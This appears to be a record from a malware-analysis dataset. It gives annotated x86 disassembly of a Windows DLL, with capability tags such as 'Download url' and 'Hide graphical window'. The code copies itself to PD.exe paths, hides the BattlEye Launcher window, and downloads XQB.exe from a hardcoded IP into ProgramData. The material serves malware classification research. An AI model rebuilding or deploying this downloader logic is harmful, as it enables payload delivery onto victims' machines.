joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007f80
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100234bb
mov eax, dword fs:[0]
push eax
sub esp, 0x2cc
mov eax, dword [0x1002c61c]
xor eax, esp
mov dword [esp + 0x2c4], eax
mov eax, dword [0x1002c61c]
xor eax, esp
push eax
lea eax, [esp + 0x2d0]
mov dword fs:[0], eax
lea eax, [esp + 4]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:PD.exe
lea edx, [esp + 0x20]
mov dword [esp + 0x2dc], 0
call fcn.1000b850
test eax, eax
jne 0x10008003
mov ecx, dword [esp + 4]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x10]
lea ecx, [esp + ecx + 4]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x1000801c
or eax, 4
jmp 0x1000801c
mov edx, dword [esp + 4]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x3c]
lea ecx, [esp + ecx + 4]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x1000802e
push 0
call fcn.10005ef0
mov eax, dword [esp + 4]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x10], 6
je 0x1000809c
call fcn.10006f00
test al, al
je 0x10008072
lea ecx, [esp + 0x74]
mov dword [esp + 0x2d8], 0xffffffff
call fcn.1000b170
lea edx, [esp + 0x74]
push edx
mov dword [esp + 0x78], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
xor al, al
jmp 0x100080d5
push 0x208
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x10027a20
lea ecx, [esp + 0xc4]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.10007d80
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x74]
mov dword [esp + 0x2d8], 0xffffffff
call fcn.1000b170
lea edx, [esp + 0x74]
push edx
mov dword [esp + 0x78], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
mov ecx, dword [esp + 0x2d0]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x2c4]
xor ecx, esp
call fcn.1000d867
mov esp, ebp
pop ebp
ret
Function at 0x10008100
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002347b
mov eax, dword fs:[0]
push eax
sub esp, 0x2c8
mov eax, dword [0x1002c61c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:PD.exe
lea edx, [ebp - 0x2b8]
mov dword [ebp - 4], 0
call fcn.1000b850
test eax, eax
jne 0x10008179
mov ecx, dword [ebp - 0x2d0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x2c4]
lea ecx, [ebp + ecx - 0x2d0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x1000819a
or eax, 4
jmp 0x1000819a
mov edx, dword [ebp - 0x2d0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x298]
lea ecx, [ebp + ecx - 0x2d0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x100081ac
push 0
call fcn.10005ef0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0x2c4], 6
je 0x100081e7
push 0x208
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x10027a20
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.10007d80
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x260]
mov dword [ebp - 4], 0xffffffff
call fcn.1000b170
lea ecx, [ebp - 0x260]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000d867
mov esp, ebp
pop ebp
ret

Function at 0x10008240
Capabilities:
Create thread

Disassembly:
call fcn.10007f80
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x10006790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10031198], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
ret
Function at 0x10009430
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10023411
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10009472
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0xc8]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:PD.exe
lea edx, [ebp - 0xb0]
mov dword [ebp - 4], 0
call fcn.1000b850
test eax, eax
jne 0x100094c0
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xbc]
lea ecx, [ebp + ecx - 0xc8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x100094e1
or eax, 4
jmp 0x100094e1
mov edx, dword [ebp - 0xc8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x90]
lea ecx, [ebp + ecx - 0xc8]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x100094f3
push 0
call fcn.10005ef0
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0xbc]
lea eax, [ebp + eax - 0xc8]
and cl, 6
movsx edx, cl
neg edx
sbb edx, edx
not edx
test eax, edx
je 0x100095ab
push str.C:PD.exe
lea eax, [ebp - 0x220]
push eax
call fcn.1000a3b0
push str.C:ProgramDataPDPD.exe
lea ecx, [ebp - 0x170]
push ecx
mov byte [ebp - 4], 1
call fcn.1000ae70
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x170]
push eax
mov byte [ebp - 4], 2
call fcn.10009ad0
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 1
call fcn.1000afd0
lea ecx, [ebp - 0x110]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0
call fcn.1000a520
lea edx, [ebp - 0x1b8]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.1000b170
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x100095e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100234fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10009622
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0xc8]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:PD.exe
lea edx, [ebp - 0xb0]
mov dword [ebp - 4], 0
call fcn.1000b850
test eax, eax
jne 0x10009670
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xbc]
lea ecx, [ebp + ecx - 0xc8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10009691
or eax, 4
jmp 0x10009691
mov edx, dword [ebp - 0xc8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x90]
lea ecx, [ebp + ecx - 0xc8]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x100096a3
push 0
call fcn.10005ef0
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0xbc]
lea eax, [ebp + eax - 0xc8]
and cl, 6
movsx edx, cl
neg edx
sbb edx, edx
not edx
test eax, edx
je 0x100096cf
call fcn.10008280
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.1000b170
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10009710
Capabilities:
Download url
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100234fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10009752
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0xc8]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:ProgramDataPDPD.exe
lea edx, [ebp - 0xb0]
mov dword [ebp - 4], 0
call fcn.1000b850
test eax, eax
jne 0x100097a0
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xbc]
lea ecx, [ebp + ecx - 0xc8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x100097c1
or eax, 4
jmp 0x100097c1
mov edx, dword [ebp - 0xc8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x90]
lea ecx, [ebp + ecx - 0xc8]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x100097d3
push 0
call fcn.10005ef0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0xbc], 6
je 0x10009811
call fcn.10007f80
push 0
push 0
push str.C:ProgramDataXQB.exe
push str.http:__206.238.198.66_XQB.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100095e0
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.1000b170
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10009850
Capabilities:
Download url
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100234fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10009892
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0xc8]
push eax
call fcn.1000b080
push 1
mov ecx, str.C:ProgramDataPDPD.exe
lea edx, [ebp - 0xb0]
mov dword [ebp - 4], 0
call fcn.1000b850
test eax, eax
jne 0x100098e0
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xbc]
lea ecx, [ebp + ecx - 0xc8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10009901
or eax, 4
jmp 0x10009901
mov edx, dword [ebp - 0xc8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x90]
lea ecx, [ebp + ecx - 0xc8]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
and eax, 0x17
test dword [ecx + 0x10], eax
mov dword [ecx + 0xc], eax
je 0x10009913
push 0
call fcn.10005ef0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
test byte [ebp + ecx - 0xbc], 6
je 0x10009951
call fcn.10008100
push 0
push 0
push str.C:ProgramDataXQB.exe
push str.http:__206.238.198.66_XQB.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100095e0
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.1000b170
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.1000cff3
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x10009990
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x100099b0
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.10009430
call fcn.10009710
call fcn.100092c0
push 0
push 0
push 0
push 0x10006790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10031198], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100099f0
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push str.BattlEye_Launcher
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10009a10
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.10009430
call fcn.10009850
call fcn.100092c0
push 0
push 0
push 0
push 0x10006790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10031198], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000a680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022d38
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1002c61c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
cmp ebx, 0xffffffff
jne 0x1000a6bc
xor eax, eax
jmp 0x1000a840
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x1000a6e5
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x1000a6e5
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x1000a840
cmp dword [edi + 0x54], 0
je 0x1000a83d
mov ecx, dword [edi + 0x10]
lea edx, [edi + 0x48]
cmp dword [ecx], edx
jne 0x1000a70d
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + 0x40]
mov dword [ecx], edx
mov ecx, dword [edi + 0x20]
mov dword [ecx], eax
mov edx, dword [edi + 0x30]
sub eax, eax
mov dword [edx], eax
cmp dword [edi + 0x44], 0
jne 0x1000a733
mov edi, dword [edi + 0x54]
movsx eax, bl
push edi
push eax
call fcn.1000e84c
add esp, 8
cmp eax, 0xffffffff
je 0x1000a83d
mov eax, ebx
jmp 0x1000a840
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.1000b590
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
jmp 0x1000a750
mov edx, eax
cmp ebx, 0x10
jae 0x1000a75c
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push edx
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x2d]
push edx
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x14]
call eax
test eax, eax
js 0x1000a835
cmp eax, 1
jg 0x1000a7ef
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x1000a79c
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, ecx
je 0x1000a7c5
cmp ebx, 0x10
jae 0x1000a7ab
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.1000f4ae
add esp, 0x10
cmp esi, eax
jne 0x1000a835
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], edx
jne 0x1000a828
test esi, esi
jne 0x1000a750
cmp dword [ebp - 0x1c], 0x20
jae 0x1000a835
push esi
push 8
lea esi, [ebp - 0x2c]
call fcn.1000b5f0
jmp 0x1000a745
cmp eax, 3
jne 0x1000a835
mov edi, dword [edi + 0x54]
movsx eax, byte [ebp - 0x2d]
push edi
push eax
call fcn.1000e84c
add esp, 8
cmp eax, 0xffffffff
je 0x1000a819
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.10009a70
mov eax, esi
jmp 0x1000a840
lea ecx, [ebp - 0x2c]
or esi, 0xffffffff
call fcn.10009a70
mov eax, esi
jmp 0x1000a840
lea ecx, [ebp - 0x2c]
call fcn.10009a70
mov eax, dword [ebp + 8]
jmp 0x1000a840
lea ecx, [ebp - 0x2c]
call fcn.10009a70
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000d867
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b080
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100233c7
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [edi], 0x10028428
mov dword [edi + 0x10], 0x10028430
mov dword [edi + 0x70], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 0x18]
push esi
mov dword [ebp - 4], ebx
push edi
mov dword [ebp - 0x10], 1
call fcn.1000bc80
mov dword [ebp - 4], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
call fcn.1000bf90
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], bl
mov byte [esi + 0x49], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x100311b8]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x54], ebx
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ebx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ba70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022d88
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002c61c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000bb77
cmp byte [edi + 0x49], 0
je 0x1000bb77
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000bb6b
lea esi, [ebp - 0x2c]
call fcn.1000b590
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x1000bae3
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x1000bb0c
dec eax
je 0x1000bb10
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x1000bb66
jmp 0x1000bb72
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x1000bb20
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x1000bb49
cmp ebx, 0x10
jae 0x1000bb2f
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.1000f4ae
add esp, 0x10
cmp esi, eax
jne 0x1000bb63
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000bb6f
test esi, esi
jne 0x1000bad7
push esi
push 8
lea esi, [ebp - 0x2c]
call fcn.1000b5f0
jmp 0x1000bad1
lea ecx, [ebp - 0x2c]
call fcn.10009a70
xor al, al
jmp 0x1000bb79
lea ecx, [ebp - 0x2c]
call fcn.10009a70
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000d867
mov esp, ebp
pop ebp
ret
Function at 0x1000bf90
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022cab
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1002c61c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1000d426
push 4
mov dword [ebp - 4], 0
call fcn.1000dfa5
mov edi, eax
add esp, 4
test edi, edi
je 0x1000c00c
call fcn.1000d2fe
mov dword [edi], eax
call fcn.1000d0bd
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.1000d3e7
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x1000c002
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.1000d40f
jmp 0x1000c00e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d867
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002c61c]
jne 0x1000d871
repz ret
jmp fcn.1001257d
Function at 0x1001cb7c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002c61c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1001433a
and dword [ebp - 0x14], 0
cmp dword [0x1002f048], 0
mov dword [ebp - 0x18], eax
jne 0x1001cc2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001ccd7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001ccd7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1002f048], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1002f04c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1002f050], eax
call edi
push eax
call esi
mov dword [0x1002f058], eax
test eax, eax
je 0x1001cc2f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1002f054], eax
mov eax, dword [0x1002f054]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1001cc88
cmp dword [0x1002f058], ecx
je 0x1001cc88
push eax
call esi
push dword [0x1002f058]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1001cc88
test ebx, ebx
je 0x1001cc88
call edi
test eax, eax
je 0x1001cc7f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001cc7f
test byte [ebp - 8], 1
jne 0x1001cc88
or dword [ebp + 0x10], 0x200000
jmp 0x1001ccbb
mov eax, dword [0x1002f04c]
cmp eax, dword [ebp - 0x18]
je 0x1001ccbb
push eax
call esi
test eax, eax
je 0x1001ccbb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001ccbb
mov eax, dword [0x1002f050]
cmp eax, dword [ebp - 0x18]
je 0x1001ccbb
push eax
call esi
test eax, eax
je 0x1001ccbb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1002f048]
call esi
test eax, eax
je 0x1001ccd7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001ccd9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000d867
leave
ret